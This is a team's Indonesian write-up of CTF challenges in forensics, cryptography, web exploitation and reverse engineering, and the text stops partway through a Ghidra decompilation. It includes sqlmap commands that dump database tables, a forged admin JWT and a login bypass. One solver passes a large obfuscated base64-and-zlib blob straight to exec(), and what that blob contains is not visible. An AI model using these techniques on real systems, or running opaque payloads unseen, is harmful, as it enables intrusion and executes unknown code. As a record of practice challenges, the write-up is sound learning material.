# WRITE UP_PikirPola C.O.D.E CHALLENGE 2025 #### WORKED BY - Nana - Xyzet - Ryrexz Category <a href="#NoCategory"> NoCategory </a> * <a href="#41"> Halo Selamat Bertanding! </a> <a href="#FORENSIC"> FORENSIC </a> * <a href="#12"> 1t's t0 d33p </a> * <a href="#11"> A Brief Memory </a> <a href="#Cryptography"> Cryptography </a> * <a href="#6"> H3xcurs1on </a> * <a href="#4"> Trace the Shadows </a> <a href="#Web-Exploit"> Web Exploit </a> * <a href="#15"> Si Keras Kepala </a> * <a href="#17"> Feedback Dosa Lama: The Real Mystery </a> * <a href="#18"> Jago Wan Tap Challenge </a> <a href="#Reverse-Enginering"> Reverse Enginering </a> * <a href="#23"> binaryRead </a> * <a href="#24"> cobabacaakudong </a> ## <a id=NoCategory> NoCategory </a> ### <center><a id="41"> Halo Selamat Bertanding! </a></center> <center>0</center> <center>Untuk seluruh peserta C.O.D.E Challenge 2025, Waktu penantian telah berakhir. Kini saatnya untuk beraksi! Asah logikamu, bangkitkan kreativitasmu, dan siapkan mentalmu untuk menghadapi tantangan terberat. Ingat, setiap kegagalan adalah pelajaran, dan setiap keberhasilan adalah batu loncatan. Jangan pernah menyerah! Jaga sportivitas, fokus pada target, dan buktikan bahwa kalian adalah yang terbaik. Selamat bertanding dan semoga sukses! CTF{0_P01nt_1s_Just_A_Number}</center> **Flag : CTF{0_P01nt_1s_Just_A_Number}** --- ## <a id=FORENSIC> FORENSIC </a> ### <center><a id="12"> 1t's t0 d33p </a></center> <center>30</center> <center>Saat melakukan forensik pada sebuah server, tim kami menemukan image disk yang tampaknya kosong. Tidak ada file mencurigakan, namun informasi intelijen mengatakan ada sesuatu yang penting tersembunyi di dalamnya. Dapatkah kamu menemukan flag yang disembunyikan dalam metadata file atau struktur file system-nya?</center> diberikan sebuah file bernama [archive.img](https://crow.himatisi-tus.com/files/602d5825910dd24439ab6ea82923c622/archive.img?token=eyJ1c2VyX2lkIjo5MiwidGVhbV9pZCI6MjksImZpbGVfaWQiOjh9.aI82Kg.Xmwdt-3uv_VLJcQDEyEV_XcJCqs) yang berisi file image disk. lalu saya baca deskripsi soalnya ternyata flagnya disembunyikan dalam metadata atau struktur file systemnya. saya pun menggunakan tools 010 editor untuk analisis metadata file nya. seperti yang dikatakan deskripsi kalau image disk nya kososng. saya pun mencoba search dengan pencarian "CTF" siapa tau langsung dapat wkwkkw. ![image](https://hackmd.io/_uploads/BkbRAhhwge.png) eh ternyata dapat flag nya. **Flag : CTF{th1s_1s_d33p}** --- ### <center><a id="11"> A Brief Memory </a></center> <center>50</center> <center>Seorang analis SOC mendeteksi adanya anomali dalam aktivitas login di sistem internal. Beberapa menit sebelum sistem dimatikan, pengguna mencatat sesuatu yang tampaknya penting dalam base64. Kami berhasil melakukan snapshot sistem dalam bentuk memory dump. Berdasarkan timeline aktivitas, ada indikasi bahwa informasi penting sempat muncul di layar, namun tidak ditemukan dalam file sistem. [file](https://drive.google.com/file/d/1kmJKhYr1_U-54mRRP7BairuhZmweO0K3/view?usp=sharing)</center> pada tantangan ini peserta diminta untuk menganalisis file data memory sebelumnya saya bingung bagaimana cara membuka file ini saya coba autopsy dan ftk imager data ini selalu terbaca error dan saya mencoba jalan pintas yaitu menggunakan strings dengan perintah strings ```bash strings flags | while read line; do echo "$line" | base64 -d 2>/dev/null; done | grep -Eo 'CTF\{[^}]+\}' ``` dan muncullah kode base64 seperti dalam deskripsi seperti ini ![image](https://hackmd.io/_uploads/HyE09TnDle.png) lalu saya buat solver nya ```bash import zlib import base64 def decode_obfuscated_payload(data): # Balik string, decode base64, lalu decompress zlib reversed_data = data[::-1] decoded_data = base64.b64decode(reversed_data) decompressed_data = zlib.decompress(decoded_data) return decompressed_data # Payload terenkripsi payload = ( b'=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' ) # Eksekusi kode hasil dekripsi exec(decode_obfuscated_payload(payload)) ``` dan kita mendapatkan flagnya **Flag : CTF{N0t3p4d_cr3d}** --- ## <a id=Cryptography> Cryptography </a> ### <center><a id="6"> H3xcurs1on </a></center> <center>50</center> <center>S1ny4l 4n0m4ly t3rd3t3ks1 d4r1 r3p34t3r r3l4y d1 subn3t b4w4h t4n4h s3kt0r 4. 4d4 p4k3t d4t4 y4ng t3r3nkr1ps1 d4n d1k4c4uk4n. k0n0n 1n1 p3s4n t3r4kh1r d4r1 0p3r4t0r y4ng d1k3n4l s3b4g41 "B1nh3x". P3s4nny4 t3rl1h4t s3p3rt1 s3rp1h4n h3x — d4n h4ny4 m3r3k4 y4ng t4hu urut4n b4l1k4nny4 y4ng b1s4 m3ngur41 m4kn4ny4. L3t’s s33 1f y0u’r3 w0rthy 0f B1nh3x's l3g4cy.. 1NF0 : Encrypted output was generated using the following obfuscation process: 1. Start with the original flag in bytes. 2. Apply padding to make its length a multiple of the block size. 3. For each byte in the padded flag: a. Swap its upper and lower. b. Invert all bits using XOR with 0xFF. 4. After the obfuscation, encrypt the result using AES. 5. Save the final ciphertext as a space-separated hex string in a file. KEY : Y29kZXhoaW1hdGlzaXR1cw== </center> dari dekripsi soal saya mendapatkan key yang berisi strings acak berbasis base64 saya pun decode dan hasilnya "codexhimatisitus" > Key = codexhimatisitus selain itu saya mendapatkan juga sebuah hex di dalam attachment: ``` 88 81 62 89 5A 4D D2 5C 02 53 48 8A 46 75 2A 1B 6D 90 CB AE 14 74 79 A8 DF 39 B1 59 F4 B3 71 67 ``` karena di deskripsi chall udah jelas cara encrypt outputnya, maka saya gunakan skrip python untuk membantu memecahkannya. ``` from Crypto.Cipher import AES import base64 def unshuffle_and_uninvert(byte): inverted = byte ^ 0xFF upper = (inverted & 0xF0) >> 4 lower = inverted & 0x0F return (lower << 4) | upper def decrypt_flag(): # Hex ciphertext input hex_string = "88 81 62 89 5A 4D D2 5C 02 53 48 8A 46 75 2A 1B 6D 90 CB AE 14 74 79 A8 DF 39 B1 59 F4 B3 71 67" encrypted_bytes = bytes.fromhex(hex_string.replace(" ", "")) # Decode base64 key key = base64.b64decode("Y29kZXhoaW1hdGlzaXR1cw==") # AES decryption in ECB mode cipher = AES.new(key, AES.MODE_ECB) obfuscated = cipher.decrypt(encrypted_bytes) # Reverse obfuscation original = bytes([unshuffle_and_uninvert(b) for b in obfuscated]) # Remove PKCS#7 padding pad_len = original[-1] flag_bytes = original[:-pad_len] return flag_bytes.decode() print(decrypt_flag()) ``` kita akan dapat flagnya 🎉 **Flag : CTF{b1nh3x_f0r_3v3ry0n3}** --- ### <center><a id="4"> Trace the Shadows </a></center> <center>80</center> <center>Di lorong gelap kampus Telkom Surabaya, sebuah jaringan komunikasi rahasia yang telah lama mati tiba-tiba aktif kembali. Tak ada logo, tak ada nama himpunan. Hanya fragmentasi sinyal dan bisikan digital yang menyebar diam-diam. Salah satu hacker kampus pun dibuat bingung siapa sebenarnya yang mengadakan CTF ini? Mereka saling bertukar pesan melalui sandi yang hanya bisa dimengerti oleh anggota jaringan. Dalam log terakhir dari salah satu node yang sempat aktif, tertulis: “Maybe that’s not a string maybe Base64, atau satu baris yang disamarkan.” “Mereka menggunakan layer XOR, shifting table, mungkin terkunci.” “Terenkripsi. Berlapis. Tertarget. Hanya mereka yang mampu melacak asal dan tujuan pesan yang bisa membongkar node ini.”</center> dalam tantangan ini peserta diberikan attachment dengan file bernama file.encr yang dimana file ini mengandung teks terenkripsi dengan base64 seperti ini `azNrYWQzX2U0 bzE+PjIwLTN0 LTIyLTFtLTM0 LTU3LTM2LTU3 LTM3LTJpLTNr LTVyLTIyLTNh LTR1LTJsLTJ1 LTM2LTE4==` lalu saya coba dekripsi dan hasilnya seperti ini ![image](https://hackmd.io/_uploads/SJyH3ahDgl.png) setelah ini saya no clue tidak bisa mengerjakan lanjut, karena diberikan hint dan diberi cost 15 mau tidak mau saya harus buka agar bisa melanjutkan ternyata hint nya itu ada 2 jadi mau tidak mau saya harus merelakan 30 point saya dalam hati gapapa lah ya balik modal 70 dan saya buka hint nya ternyata petunjuk nya siapa yang buat tantangan ini dan siapa yang orang atau organisasi membuat tantangan ini `codex.himatisi-tus.com` owala ternyata ini adalah key, key 1 = codex dan key 2 = himatisi lalu saya coba menggunakan cyberchef dan begini hasilnya ![image](https://hackmd.io/_uploads/ry27Tpnvgg.png) seperti dalam dekripsi mereka tidak hanya menggunakan base64 tetapi metode lain seperti XOR dan shifting table atau vignere dipakai maka dari itu langkah kedua saya menggunakan vignere untuk decode dan hasilnya disuruh decode lagi, saya coba convert bentuk ascii. setelah itu saya buat solver nya ```python cipher = [ 0x20, 0x3b, 0x22, 0x1e, 0x34, 0x57, 0x36, 0x57, 0x37, 0x2b, 0x3c, 0x5f, 0x22, 0x3a, 0x4b, 0x2d, 0x2c, 0x36, 0x18 ] key =b'codex' # key tebakan plain = "" for i in range(len(cipher)): p = cipher[i] ^ key[i % len(key)] plain += chr(p) print("CTF{" + plain + "}") ``` AND **BOOM** kita mendapatkan flagnya **Flag : CTF{L4Y3RS_0F_3NCR}** --- ## <a id=Web-Exploit> Web Exploit </a> ### <center><a id="15"> Si Keras Kepala </a></center> <center>50</center> <center>Di ruang admin katanya ada aturan main yang bikin kepala siapa pun jadi mikir dua kali. Nama admin harus diketik persis kayak aslinya—bahkan spasi, tanda baca, atau karakter kecil bisa bikin gagal total. Pernah ada mahasiswa iseng, katanya cuma karena beda sedikit (ada yang bilang spasi, ada yang bilang typo), tiba-tiba berhasil duduk di kursi yang selama ini dibilang "cuma legenda". Password-nya juga katanya gampang dihafal, pernah jadi password admin setahun terakhir. Kalau login kamu berhasil, berarti kamu bener-bener paham aturan keras kepala di kampus ini. Tapi jangan buru-buru puas—kadang login "terlihat benar" pun belum tentu itu yang dicari oleh sistem! </center> diberikan sebuah link [website](https://soal1-ctf-univ.himatisi-tus.com/) ![image](https://hackmd.io/_uploads/B1p9eR2Del.png) webiste ini form login sederhana, saya mencoba memasukkan payload sql injection sederhana tetapi kredensial username tidak ditemukan. Di deskripsi soal tertulis kalau nama admin harus diketik sama persis, saya pun mencoba memasukkan payload "admin" di kolom username dan password. Saya berhasil masuk dan keluar tulisan: > Login berhasil, tapi ada sesuatu yang kurang pas di sini. Flag: CTF{kursi_kw_univ} CTF{kursi_kw_univ} oke kita berhasil masuk tapi katanya ada yang kurang pas (?) hmm anehh, saya coba melakukan inspect source code nya. di source code nya terdapat hint yang tidak ditampilkan di layar karena sebuah komentar. ![image](https://hackmd.io/_uploads/B1Ou7R3Dgg.png) ternyata terdapat 2 user yaitu "admin biasa" dan "admin keras kepala" saat ini saya login di admin biasa. karena disini udah dikasih tau password user "admin keras kepala" selanjutnya saya harus mencari tau username dari admin keras kepala ini. Di deskripsi chall dikatakan "ada mahasiswa iseng, katanya cuma karena beda sedikit (ada yang bilang spasi, ada yang bilang typo), tiba-tiba berhasil duduk di kursi yang selama ini dibilang "cuma legenda"". oke saya menganggap cuma legenda = admin keras kepala. dikatakan username nya typo entah spasi atau ada karakter aneh lainnya. saya pun mencoba login ulang dengan payload username "admin " (dengan spasi) dan password "admin123". ![image](https://hackmd.io/_uploads/S1VJwA2wge.png) flag ditemukan 🎉. **Flag : CTF{login_penuh_trik_universitas}** --- ### <center><a id="17"> Feedback Dosa Lama: The Real Mystery </a></center> <center>50</center> <center>Kampus ini katanya punya lorong rahasia yang bahkan admin jarang masuk. Konon, ada pesan-pesan lawas yang sengaja disebar di berbagai sudut database— mulai dari catatan admin, pesan dosen rahasia, sampai potongan yang acak tersembunyi di tabel lain. Kabarnya, untuk mendapatkan flag utuh, kamu harus "ngacak-ngacak" isi kampus digital ini: explore semua tabel, kolom, bahkan mungkin kamu perlu gabungin beberapa potongan jadi satu kalimat. Jangan terjebak di feedback doang—kadang fragment flag itu ngumpet di tabel aneh, atau malah dipecah jadi baris-baris kecil yang cuma bisa kamu dapat kalau benar-benar oprek schema. Tapi hati-hati, sistem ini juga suka ngasih flag palsu ke mereka yang cuma main asal nebak. Peta harta karun kadang harus kamu gambar sendiri. Potongan demi potongan, baru bisa lengkap jadi satu kalimat kemenangan. Flag CTF{...}</center> ## Situs menampilkan form pencarian berdasarkan parameter nama, berdasarkan struktur URL dan respons server saat diberikan `'` server merespons dengan pesan error SQL, maka kami menduga adanya celah SQL injection pada parameter nama. Kami menggunakan SQLMap dengan pengaturan minimal agar tidak membebani server, untuk mendeteksi injection point. ``` sqlmap -u "http://soal2-ctf-univ.himatisi-tus.com/?nama=Andi" --batch --level=1 --risk=1 --threads=1 ``` SQLMap mengidentifikasi bahwa parameter nama rentan terhadap SQL Injection. Setelah itu kami melanjutkan untuk menampilkan seluruh tabel dalam database dengan perintah ``` sqlmap -u "http://target.com/search.php?nama=Andi" --tables ``` Dan yaaa ini hasilnyaa ``` [8 tables] +-----------------+ | admin_note | | dosen | | dosen_rahasia | | feedback | | flagpiece | | mahasiswa | | nilai | | sqlite_sequence | +-----------------+ ``` Selanjutnya terdapat clue di web-nya. Katanya tuh jangan cuma cek feedback, kadang fragment flag disembunyiin di catatan admin, pesan dosen rahasia, atau bahkan baris random yang seolah nggak penting, yaudah deh tinggal lihat aja isi-isi dari tabel tersebut. ``` sqlmap -u "http://soal2-ctf-univ.himatisi-tus.com/?nama=Andi" -T admin_note --dump sqlmap -u "http://soal2-ctf-univ.himatisi-tus.com/?nama=Andi" -T dosen_rahasia --dump sqlmap -u "http://soal2-ctf-univ.himatisi-tus.com/?nama=Andi" -T flagpiece --dump ``` Maka hasilnya seperti ini ``` Table: admin_note [2 entries] +----+-----------------------------+ | id | note | +----+-----------------------------+ | 1 | flag{ | | 2 | Lanjutkan ke dosen_rahasia! | +----+-----------------------------+ Table: dosen_rahasia [2 entries] +----+----------+------------------------+ | id | nama | pesan_sangat_rahasia | +----+----------+------------------------+ | 1 | Pak Toni | Ini cuma rahasia kecil | | 2 | Bu Rina | explore_all_ | +----+----------+------------------------+ Table: flagpiece [2 entries] +----+----------+ | id | potongan | +----+----------+ | 1 | tables_ | | 2 | univ} | +----+----------+ ``` Udah dapat deh flag{explore_all_tables_univ}, tapi sesuaikan dengan format yang baru maka hasil akhirnya adalah CTF{explore_all_tables_univ} **Flag : CTF{explore_all_tables_univ}** --- ### <center><a id="18"> Jago Wan Tap Challenge </a></center> <center>50</center> <center>Ada seorang bocah yang pengen banget jadi gamer pro. Setiap kali mabar, bukannya naik rank malah makin turun. KDA-nya minus terus, kill-nya dua, death lima, assist cuma enam. Temen-temennya pada ngatain cupu, soalnya hasilnya gitu-gitu aja padahal tiap hari latihan. Suatu hari, dia iseng cari-cari cara lain biar bisa auto naik kasta, siapa tau ada jalan pintas rahasia. Ada yang bilang, kadang buat jadi paling jago itu bukan cuma soal main, tapi juga soal ngerti celah yang gak semua orang lihat. Konon katanya, kadang kode penting suka kelewat, apalagi kalau udah lama nggak pernah diganti-ganti. Coba aja oprek, siapa tau kali ini bisa naik jadi MVP beneran. https://soal3-ctf-univ.himatisi-tus.com Format: CTF{...}</center> dalam tantangan ini kita dibetikan halaman yang dimana kita memasukan suatu jwt encode yaitu encode json karena namanya jwt dan dalam dekrispi suatu anak ingin menaikan ranknya tetapi satu- satunya cara yaitu harus menjadi admin maka saya buat payload `{ role : "admin"}` dan di encode kedalam jwt menggunakan jwt.io ![image](https://hackmd.io/_uploads/HkWS10nwle.png) lalu hasil encode ini masukan kedalam halaman tadi and ![image](https://hackmd.io/_uploads/SJ7vJCnvgl.png) **BOOM** kita mendapatkan flagnya **Flag : CTF{JwT_fOrg3r}** --- ## <a id=Reverse-Enginering> Reverse Enginering </a> ### <center><a id="23"> binaryRead </a></center> <center>50</center> <center>Ejen Xumi.0reo.Renyah baru saja menemukan file misterius enc.dat yang berisi pesan terenkripsi. Menurut Ejen Xumi.0reo.Renyah, file tersebut dihasilkan oleh sebuah program Malware yang memproses suatu program dengan algoritma khusus. Tugasmu adalah</center> --- Dari hasil reverse engineering terhadap file binary yang tersedia, fungsi utama main() terlihat seperti berikut: ```cpp= std::string plain = "CTF{bukanFlag}"; std::ofstream fout("enc.dat"); for (int i = 0; i < plain.length(); i++) { char enc = ((i * 0x0f) ^ plain[i]) + 5; fout.put(enc); } ``` Kode ini menjelaskan bahwa string "CTF{bukanFlag}" dienkripsi menggunakan transformasi karakter per karakter sebagai berikut: ``` enc[i] = ((i * 0x0f) ^ plain[i]) + 5 ``` Untuk mendekripsi, kita balikkan proses enkripsi: ``` plain[i] = (enc[i] - 5) ^ (i * 0x0f) ``` Kemudian membaca isi dari enc.dat lalu untuk setiap byte, lakukan: ```=python with open('enc.dat', 'rb') as f: data = f.read() decrypted = bytes(((b - 5) ^ (i * 0x0F)) & 0xFF for i, b in enumerate(data)) print(decrypted.decode('utf-8')) ``` Hasilnya ketemu deh flagnya. **Flag : CTF{b1nary_x0rr_k3ren_abizz}** --- ### <center><a id="24"> cobabacaakudong </a></center> <center>50</center> <center>Di tengah malam, seorang developer misterius meninggalkan sebuah program aneh di server kami. Di dalamnya, hanya ada satu pesan: "Cek in ajah bray." Kami sangat khawatir program ini sangat berbahaya apakah kamu bisa mengeceknya dan menemukan anomali didalamnya </center> kita mendapatkan file bernama [coba_baca_aku_dong](https://crow.himatisi-tus.com/files/63eef9f22d49f10f5924b898236f7f5f/coba_baca_aku_dong?token=eyJ1c2VyX2lkIjo5MiwidGVhbV9pZCI6MjksImZpbGVfaWQiOjE2fQ.aI8-bw.wnqvdNQUcKLdJr9_FFZ7xvgsmsA) yang berformat ELF. pas dijalanin ternyata program untuk meminta inputan dari user dan akan dikonversikan menjadi sebuah hash. ![image](https://hackmd.io/_uploads/rJPaHpnveg.png) oke, dugaan saya kalau kita inputan cekin dan hashnya sesuai dengan hash server kita akan mendapatkan flagnya. Jadi untuk mendapatkan flagnya kita harus tau bagaimana aplikasi ini bekerja terlebih dahulu menggunakan tools Ghidra. saya kemudian lakukan analisis pada file system nya, di fungsi main saya menemukan: ``` undefined8 main(void) { ostream *poVar1; ulong uVar2; MD5 *pMVar3; undefined8 uVar4; streambuf *psVar5; char *md; size_t n; string *d; long in_FS_OFFSET; allocator local_2f1; allocator *local_2f0; string local_2e8 [32]; string local_2c8 [32]; string local_2a8 [32]; MD5 local_288 [96]; string local_228 [520]; long local_20; local_20 = *(long *)(in_FS_OFFSET + 0x28); local_2f0 = &local_2f1; md = "2ecdf565d44933226cc6709c761c0acd"; /* try { // try from 0010234f to 00102353 has its CatchHandler @ 00102642 */ std::__cxx11::string::string<>(local_2e8,"2ecdf565d44933226cc6709c761c0acd",&local_2f1); std::__new_allocator<char>::~__new_allocator(); std::__cxx11::string::string(local_2c8); std::__cxx11::string::string(local_2a8); /* try { // try from 00102396 to 00102571 has its CatchHandler @ 00102688 */ poVar1 = std::operator<<((ostream *)std::cout,"======================"); 